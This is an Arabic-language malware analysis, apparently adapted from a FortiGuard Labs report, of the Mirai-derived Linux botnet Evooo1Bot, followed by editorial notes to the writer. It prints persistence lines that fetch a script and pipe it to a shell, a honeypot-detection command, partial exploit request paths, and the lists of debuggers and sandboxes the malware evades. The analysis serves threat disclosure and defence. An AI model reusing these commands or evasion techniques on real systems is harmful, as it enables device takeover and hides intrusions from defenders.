المنصات المتأثرة: Linux
الجهات المتأثرة: أي منظمة تمتلك أنظمة أو أجهزة مكشوفة للإنترنت
الأثر: تمكين مهاجمين عن بعد من السيطرة على الأنظمة الضعيفة
مستوى الخطورة: حرج
تتبعت FortiGuard Labs عائلة بوتنت غير موثقة سابقًا تستهدف Linux وأطلقت عليها اسم Evooo1Bot. الاسم مأخوذ من السلسلة الثابتة evooo1 الموجودة داخل كل ملف تنفيذي تم تحليله.
المثير هنا أن البرمجية لا تبدأ من الصفر. هي تعيد استخدام محرك DDoS من الشيفرة المسربة لمشروع Mirai، لكنها تضيف فوقه مجموعة قدرات تجعلها أقرب إلى منصة هجومية متعددة الوظائف وليست مجرد بوتنت للإغراق الشبكي.
من بين هذه القدرات اتصال C2 مشفر، ماسح SSH يعتمد على brute force، وحدة SOCKS relay، سرقة بيانات اعتماد، وترسانة استغلال تستهدف ثغرات معروفة في أجهزة ومنتجات متعددة.
وتشير بيانات البنية التحتية الخاصة بخوادم التحكم والسيطرة إلى أن Evooo1Bot كان يستهدف أجهزة مكشوفة للإنترنت منذ يوليو 2026 عبر مناطق مختلفة.

الشكل 1: بيانات Telemetry الخاصة بخادم C2
#كيف تم اكتشاف Evooo1Bot؟
ظهر Evooo1Bot عبر بيانات FortiGuard IPS بعد رصد محاولات استغلال نشطة تستهدف مجموعة من أجهزة الحافة Edge Devices.
المشترك بين هذه المحاولات كان أن جميع عمليات استدعاء الحمولة Payload كانت تشير إلى نفس رابط التحميل:
91.92.40[.]118/wget.sh
وخلال حركة الشبكة التي تم التقاطها، ظهرت محاولات استغلال للثغرات التالية:
CVE-2007-3010في Alcatel OmniPCX EnterpriseCVE-2016-6277في عدة أجهزة توجيه من NETGEARCVE-2018-14558في أجهزة Tenda AC7 وAC9 وAC10CVE-2019-14931في أجهزة Mitsubishi Electric ME-RTU وINEA ME-RTUCVE-2020-10987في Tenda AC1900 AC15CVE-2021-46422في Telesquare SDT-CW3B1CVE-2022-37055في أجهزة توجيه D-LinkCVE-2024-29269في Telesquare TLR-2005KSHCVE-2025-10123في D-Link DIR-823XCVE-2025-55583في D-Link DIR-868L B1
سكريبت التحميل wget.sh مسؤول عن تنزيل وتشغيل نسخة من البوتنت تتوافق مع معمارية CPU الخاصة بالجهاز المصاب.
والتفصيلة اللافتة أن كل محاولة استغلال تحمل وسم حملة داخل أمر التنزيل. مثلًا يظهر -s mitsu مع أهداف Mitsubishi Electric، بينما يظهر rep.alcatel مع أهداف Alcatel-Lucent.
هذا يعطي مؤشرًا قويًا على أن المشغل لا يطلق الاستغلالات بشكل عشوائي فقط، بل يتتبع مردود كل ثغرة وحجم الإصابات الناتج عنها بشكل مستقل.


الشكل 2: الحمولة داخل حركة exploit الملتقطة
بعد نجاح الاستغلال، يبدأ wget.sh بمحاولة تنزيل 12 نسخة تنفيذية مختلفة بحسب المعمارية.
الأدوات المستخدمة تأتي بالترتيب التالي: wget ثم busybox wget ثم curl ثم tftp. بعدها يتم حفظ الملف في مسار مؤقت، منحه صلاحية التنفيذ وتشغيله مباشرة.
وبعد الإصابة يتم مسح Bash history لتقليل الآثار التي يمكن أن تساعد المحلل أو مسؤول النظام لاحقًا.

الشكل 3: سكربت wget.sh
#أول نظرة على العينة
السلاسل النصية داخل Evooo1Bot ليست مكشوفة ببساطة. البرمجية تستخدم مسار حماية متعدد الطبقات يتم تطبيقه وقت البناء، وتتعامل آلية فك التشفير نفسها مع أكثر من 60 كتلة نصية مشفرة.
مفاتيح AES وChaCha20 لا يتم تخزينها مباشرة بصورتها النهائية داخل الملف التنفيذي. كل مفتاح مقسوم إلى ثابتين بطول 32 بايت داخل قسم .data، ثم تتم إعادة تركيب المفتاح أثناء التشغيل باستخدام XOR.

الشكل 4: سلسلة نصية مشفرة

الشكل 5: السلسلة بعد فكها
هناك أيضًا طبقة XOR إضافية تطبق على جزء من السلاسل الموجودة داخل .rodata. في نسخة i386 ظهرت القيمة 0x43 ضمن هذه الآلية.

الشكل 6: سلسلة مشفرة باستخدام XOR
#قبل أن يبدأ، يبحث عنك
واحدة من أكثر النقاط إثارة في Evooo1Bot هي أنه لا يبدأ اتصاله مباشرة بخادم C2.
قبل ذلك يجري مجموعة فحوصات بحثًا عن أدوات تحليل، بيئات Sandbox، آلات افتراضية وحاويات قد تشير إلى أن العينة تعمل داخل بيئة بحثية.
#أدوات التحليل التي يبحث عنها
على مستوى الملفات، يبحث عن أسماء مثل strace وltrace وgdb وlldb وvalgrind وradare2 وghidra وida وobjdump وreadelf وwireshark وtcpdump وyara وbinwalk وsysdig وغيرها.
وعلى مستوى العمليات الجارية، يبحث عن أدوات مثل gdb وlldb وstrace وradare2 وvalgrind وida وghidra وfrida وfrida-server.
كما يفحص أسماء مرتبطة ببيئات Sandbox مثل cuckoo وanubis وcape-sandbox وhybrid-analysis وdrakvuf.
أما بالنسبة للبيئات الافتراضية والحاويات، فيبحث عن بصمات مثل vmware وvbox وvirtualbox وqemu وfirejail وbubblewrap وgvisor وkata وany.run وغيرها.
إذا مرت العينة من هذه الفحوصات تبدأ محاولة الاتصال بخادم C2 على المنفذ 443.
اختيار هذا المنفذ ليس غريبًا. وجود الاتصال على 443 يساعده على الاندماج مع حركة HTTPS المتوقعة عند حدود الشبكة، ثم ينتظر أوامر المشغل بعد تسجيل حضوره لدى الخادم.
#الوحدات الوظيفية داخل Evooo1Bot
العينة تحتوي على عدد كبير من الأوامر، ويمكن تقسيمها إلى وحدات واضحة.
ملاحظة: التقسيم التالي يعتمد على أحدث نسخة موصوفة في التقرير. النسخة الأقدم تدعم جميع الأوامر باستثناء
!cveو!stopcveو!cveall.
| الوحدة | الأوامر | الوظيفة |
|---|---|---|
| Persistence | !persist | تثبيت جميع آليات الاستمرارية |
| Self-Update | !reinstall | تنزيل نسخة جديدة واستبدال الملف التنفيذي الحالي |
| Control | !kill, !exit, !info | إنهاء البوت أو الخروج المنظم أو إعادة معلومات النظام |
| File Transfer | !download, !upload | نقل ملفات بالاتجاهين مع حد تنزيل 10 MB واستخدام __FILE_START__ و__FILE_END__ |
| Interactive Shell | !shell, !exec, !stream, !detach, !bg | فتح PTY عبر /dev/ptmx مع TERM=xterm-256color ودعم العمل في الخلفية والفصل |
| Sniffer | !sniff, !stopsniff | قراءة /proc/net/tcp واعتراض HTTP Basic Authorization وCookie وتسجيل النتائج في /tmp/.sniff.log |
| SOCKS Relay | !socks, !socksauth, !stopsocks | تحويل الجهاز المصاب إلى عقدة Proxy مع دعم المصادقة الاختيارية وتمرير TCP |
| SSH Scanner | !ssh, !stopssh, !enableautossh, !disableautossh | ماسح SSH مدمج مع قاموس يتجاوز 150 بيانات اعتماد |
| DDoS | !attack, !stopattack | تشغيل وإيقاف 16 أسلوب Flood |
| CVE Exploit | !cve, !stopcve, !cveall | تشغيل استغلالات HTTP مع تحديد مستضيف الحمولة ودعم تشغيل متزامن عبر MODE:all |
الأجزاء الأكثر أهمية عمليًا هي Persistence وSOCKS Relay وSSH Scanner ومحرك DDoS ووحدة استغلال CVE.
#الاستمرارية: كيف يحاول البقاء داخل النظام؟
الأمر !persist لا يختار آلية واحدة فقط. عند تشغيله يحاول تثبيت جميع آليات الاستمرارية المتاحة في الوقت نفسه.
#systemd
ينشئ Service بوصْف يبدو مشروعًا نسبيًا:
Description=Apache HTTPD Cache Manager
Restart=always
#SysV init
يحاول زرع سكربت داخل /etc/init.d، ويحتوي على أمر تنزيل وتشغيل مشابه للتالي:
(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &
#Cron
يضيف مهمة مجدولة تعيد تنزيل السكربت كل خمس دقائق:
*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'
#Shell profile وrc.local
هناك أيضًا حقن داخل /etc/profile.d/ ليتم التنفيذ عند تسجيل الدخول، بالإضافة إلى تعديل /etc/rc.local لإضافة أمر يعيد تنزيل السكربت.
ولا يتوقف الموضوع عند الاستمرارية. الملف التنفيذي يكتب إلى /proc/self/oom_score_adj لتقليل احتمال استهدافه بواسطة OOM killer، كما يبقي /dev/watchdog مفتوحًا لمنع إعادة تشغيل الجهاز من قطع العملية.
#SOCKS Relay: الجهاز المصاب يصبح Proxy
بعكس أوامر البوتنت التقليدية التي تركز على تنزيل الحمولة أو شن الهجمات، يقوم الأمر !socks بتحويل الجهاز المصاب إلى SOCKS5 proxy يمكن للمشغل استخدامه كعقدة تمرير للشبكة.
الوحدة تدعم نمطين للتشغيل. في الوضع المباشر تفتح Listener على الجهاز المصاب عبر TCP port 1080 وتنتظر الاتصالات الواردة.
التنفيذ يحاول أولًا إنشاء Listener يدعم IPv6 وIPv4 معًا. إذا فشل، يعود إلى IPv4، ثم يتم تمرير كل اتصال عميل إلى Session handler المسؤول عن الـ proxying.

الشكل 7: وحدة SOCKS relay
لكن الوضع الأخطر هو Reverse Relay.
بدل فتح منفذ والاستماع لاتصالات واردة، ينشئ البوت اتصالًا مشفرًا إلى Relay server يحدده المشغل. هذا الاتصال يبقى كقناة تحكم مستمرة ويستقبل أوامر مثل:
RELAY_NEW:<session_id>
عند وصول الطلب يفتح البوت اتصالًا مشفرًا ثانيًا إلى نفس الخادم ويسجله باستخدام:
RELAY_DATA:<session_id>
بعدها يتم تسليم الاتصال إلى روتين SOCKS5. بهذه الطريقة تبقى قناة التحكم منفصلة عن حركة الـ proxy، ويمكن تشغيل أكثر من جلسة بشكل مستقل مع الحفاظ على اتصال التحكم الأساسي.
هذه القدرة ترفع قيمة الجهاز المصاب بشكل كبير. عنوان IP الخاص بالضحية يمكن استخدامه لإخفاء مصدر حركة ضارة، تجاوز قيود جغرافية أو الوصول إلى شبكات داخلية من خلال جهاز تم اختراقه مسبقًا.
ومع توسع عدد الأجهزة المصابة، يمكن نظريًا تحويل البنية إلى شبكة Proxy موزعة تستخدم لتمرير حركة مجهولة أو حتى استغلالها تجاريًا ضمن خدمات Proxy مبنية على عناوين سكنية أو مؤسسية مخترقة.
#SSH Brute Force مع فحص Honeypots
قبل أن يبدأ ماسح SSH عمله، ينفذ Evooo1Bot فحصين مختلفين لاكتشاف Honeypots.
الفحص الأول يحدث أثناء مصافحة SSH وقبل إرسال أي بيانات اعتماد. تتم مقارنة SSH banner الخاص بالهدف مع قائمة ثابتة داخل العينة، وأي تطابق يؤدي إلى تجاهل الهدف بصمت.
من المؤشرات الموجودة في القائمة أسماء مرتبطة ببيئات مثل Cowrie وKippo وOpenCanary وGlutton وParamiko وTwisted وغيرها.
الفحص الثاني يأتي بعد نجاح تسجيل الدخول وقبل إرسال حمولة الاستمرارية. عندها ينفذ الماسح الأمر التالي:
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
بعد ذلك يبحث عن السلسلة Linux version. غيابها قد يعني أن البيئة محاكاة أو غير اعتيادية، وفي هذه الحالة يتم تجاهل الهدف.
كما يستخدم ls للبحث عن مسارات مرتبطة بـ Cowrie وKippo. ظهور أي مؤشر يكفي لإيقاف المحاولة، ولا يتم تسليم الحمولة إلا للأهداف التي تتجاوز هذه الفحوصات.
الفحصان يكملان بعضهما. الأول يصطاد Honeypots التي تكشف نفسها عبر SSH banner، بينما الثاني يستهدف البيئات التي تعرض Banner واقعيًا لكنها تنكشف من خلال بنية الملفات تحت النظام.
بعد تجاوز هذه الفحوصات يستخدم ماسح SSH المدمج Banner بالشكل التالي:
SSH-2.0-OpenSSH_9.7p1
قاموس بيانات الاعتماد المضمن يحتوي على أكثر من 150 إدخالًا. اللافت أنه لا يركز فقط على بيانات IoT الافتراضية، بل يتضمن أسماء حسابات خدمة مثل jenkins وpostgres وoracle وnagios وdeploy.
هذا يوسع دائرة الاستهداف لتشمل بيئات مؤسسية وبيئات OT، وليس فقط أجهزة التوجيه المنزلية.

الشكل 8: بيانات اعتماد ثابتة داخل العينة
#محرك DDoS ما زال يحمل بصمة Mirai
من الناحية الهيكلية، محرك DDoS داخل Evooo1Bot متوافق إلى حد كبير مع الشيفرة المسربة من Mirai.
نسخة HTTP flood، التي يتم تشغيلها عبر قيمة http في معاملات !attack، تسمح للمشغل بتحديد قيم مثل METHOD وHEADER وEXPECT، كما تبني طلبات مع User-Agent وContent-Length قابلين للتخصيص.
العينة تدعم 16 طريقة Flood:
| ID | الطريقة | الوصف |
|---|---|---|
0x00 | udp | Generic UDP flood |
0x01 | vse | Valve Source Engine query amplification |
0x02 | dns | DNS flood |
0x03 | syn | TCP SYN flood |
0x04 | ack | TCP ACK flood |
0x05 | stomp | TCP STOMP |
0x06 | greip | GRE encapsulated IP flood |
0x07 | greeth | GRE encapsulated Ethernet flood |
0x08 | udpplain | UDP بمعدل PPS مرتفع وبأقل حمل ممكن في الترويسات |
0x09 | std | UDP flood مع Payload بطول عشوائي |
0x0a | xmas | TCP مع جميع Flags مفعلة |
0x0b | usyn | نمط URG وSYN |
0x0c | tcpall | TCP مع تركيبات Flags مختلفة |
0x0d | tcpfrag | Fragmented TCP flood |
0x0e | ovh | تقنية مصممة لتجاوز حماية OVH من DDoS |
0x0f | asyn | Asynchronous SYN flood |
#وحدة استغلال CVE
داخل الملف التنفيذي يوجد جدول CVE بصيغة plaintext. كل إدخال يربط رقم ثغرة بطلب HTTP واحد أو أكثر.
المشغل يمرر مستضيف الحمولة أثناء التشغيل باستخدام !cve <url> أو !cveall <url>، وبعدها يتم حقن العنوان داخل أمر تنزيل يعتمد على wget.
الثغرات والمسارات المستخرجة من العينة تشمل التالي:
| CVE | المنتج المستهدف | المسار |
|---|---|---|
CVE-2021-36260 | Hikvision IP Camera | /SDK/webLanguage |
CVE-2022-26134 | Atlassian Confluence | /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils |
CVE-2022-30525 | Zyxel Firewall | /ztp/cgi-bin/handler |
CVE-2023-1389 | TP-Link Archer AX21 | /cgi-bin/luci/;stok=/locale |
CVE-2024-4577 | PHP-CGI على Windows | allow_url_include%3D |
CVE-2024-10914 | D-Link NAS | /cgi-bin/account_mgr.cgi |
CVE-2025-1974 | Kubernetes ingress-nginx | /apis/networking/v1/ingresses |
CVE-2022-29464 | WSO2 products | /fileupload/ |
لكن وجود CVE داخل الجدول لا يعني أن الاستغلال يعمل فعليًا.
التقرير يذكر أن بعض الإدخالات تحتوي على أخطاء في التنفيذ تمنع الاستغلال الناجح. في بعض الحالات نوع الثغرة لا يتوافق أصلًا مع أسلوب command injection المستخدم، وفي حالات أخرى لا توجد واجهة مكشوفة تطابق الطلب الموجود داخل العينة.
CVE-2023-34362 مثال واضح على ذلك. الثغرة تستهدف MOVEit Transfer، وقد ارتبط استغلالها سابقًا بنشر Web Shell بأسماء مثل human2.aspx.
لكن وحدة Evooo1Bot لا تنفذ عملية رفع الملف اللازمة. هي فقط تمرر قيمة Payload إلى human2.aspx، لذلك هذا الإدخال غير قابل للاستغلال بصورته الموجودة داخل العينة.

الشكل 9: الحمولة المرتبطة بـ CVE-2023-34362
#لماذا Evooo1Bot مهم؟
Evooo1Bot ليس مجرد نسخة Mirai أخرى تغير الاسم وتعيد تشغيل نفس أفكار DDoS.
هو يأخذ محرك Mirai ويضعه داخل إطار أكثر مرونة، مع اتصالات C2 مشفرة، طبقات متعددة لإخفاء السلاسل النصية باستخدام AES-256-CTR وChaCha20 وXOR، وواجهة تحكم عن بعد تحتوي على 28 أمرًا.
الأهم أن قدراته لا تتوقف عند الإغراق. وجود SOCKS relay عكسي، ماسح SSH، سرقة بيانات اعتماد ووحدة استغلال CVE يجعل الجهاز المصاب نقطة ارتكاز يمكن استخدامها في مراحل هجومية لاحقة.
وحدة Reverse SOCKS تحديدًا قد تكون أخطر قدراته من الناحية التشغيلية. تحويل Router أو Firewall أو IP Camera أو أي Edge Device مخترق إلى Proxy دائم يسمح للمهاجم بإخفاء مصدره الحقيقي والمرور إلى شبكات داخلية وتنفيذ عمليات لاحقة من خلال بنية الضحية نفسها.
#ماذا يجب على المؤسسات فعله؟
الأولوية الأولى هي تحديث الأجهزة المكشوفة للإنترنت، خصوصًا أجهزة الشبكات وأجهزة Edge التي غالبًا تتأخر تحديثاتها مقارنة بالخوادم التقليدية.
تحديث Firmware بانتظام، مراقبة الاتصالات الصادرة غير المعتادة، والتحقق من الأجهزة التي تحاول الاتصال بخوادم خارجية على 443 دون سبب واضح كلها خطوات تقلل مساحة الحركة أمام بوتنت من هذا النوع.
كما أن معالجة الثغرات المعروفة بسرعة مهمة هنا لأن جزءًا كبيرًا من سلسلة العدوى يعتمد على استغلال ثغرات منشورة بدل الاعتماد على ثغرات يوم صفر.
#حماية Fortinet المذكورة في التقرير
بحسب التقرير، يتم اكتشاف البرمجية وحظرها عبر FortiGuard Antivirus بالتوقيع التالي:
Linux/Agent.BDS!tr
كما يذكر التقرير أن FortiGuard Web Filtering يحظر خادم C2، وأن FortiGuard Labs توفر IPS signatures لعدد من الثغرات المستخدمة في الحملة.
ومن بين التواقيع المذكورة ثغرات مرتبطة بـ Alcatel-Lucent وNETGEAR وTenda وMitsubishi Electric وHikvision وTelesquare وWSO2 وZyxel وD-Link وTP-Link وPHP-CGI.
#مؤشرات الاختراق IOCs
#عنوان IP
91.92.40[.]118
#SHA-256
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
#ملاحظات تحريرية قبل النشر
#1. جدول الأوامر في المصدر مكسور تنسيقيًا
بعض خلايا جدول Functional Modules كانت موزعة على أسطر منفصلة بطريقة تكسر Markdown وتفصل الأوامر عن وصفها. أعدت بناء الجدول فقط، من دون إضافة أوامر جديدة.
#2. جدول DDoS كان ملتصقًا كسطر واحد
القيم الخاصة بـ ID والطريقة والوصف ظهرت في الملف كسلسلة واحدة متصلة. فصلتها إلى جدول قابل للقراءة اعتمادًا على ترتيب العناصر نفسه.
#3. قائمة Honeypot banners غير قابلة للقراءة بصورتها الأصلية
الأسماء ظهرت متصلة بلا فواصل، لذلك لم أحولها إلى قائمة دقيقة اسمًا باسم حتى لا أختلق حدودًا غير مؤكدة بين القيم. استخدمت بدلًا من ذلك أمثلة واضحة من الأسماء الظاهرة في النص.
#4. لا تساوي بين وجود CVE ونجاح الاستغلال
هذه نقطة سردية مهمة جدًا. المقال نفسه يوضح أن بعض إدخالات CVE داخل العينة معطوبة وغير قابلة للاستغلال كما هي. الأفضل إبراز هذا مبكرًا حتى لا يخرج القارئ بانطباع أن جميع الثغرات المدرجة تعمل فعليًا.
#5. أقوى Hook في المقال هو SOCKS Relay
لو أردت نسخة أكثر تشويقًا للنشر، أنصح بفتح المقال بفكرة واحدة واضحة: جهاز Router مصاب لا يصبح مجرد عضو في Botnet، بل يمكن أن يتحول إلى Proxy يخفي حركة المهاجم ويفتح طريقًا إلى الشبكة الداخلية.
هذه الزاوية تعطي القارئ سببًا للاستمرار قبل الدخول في تفاصيل التشفير والأوامر والـ CVEs.
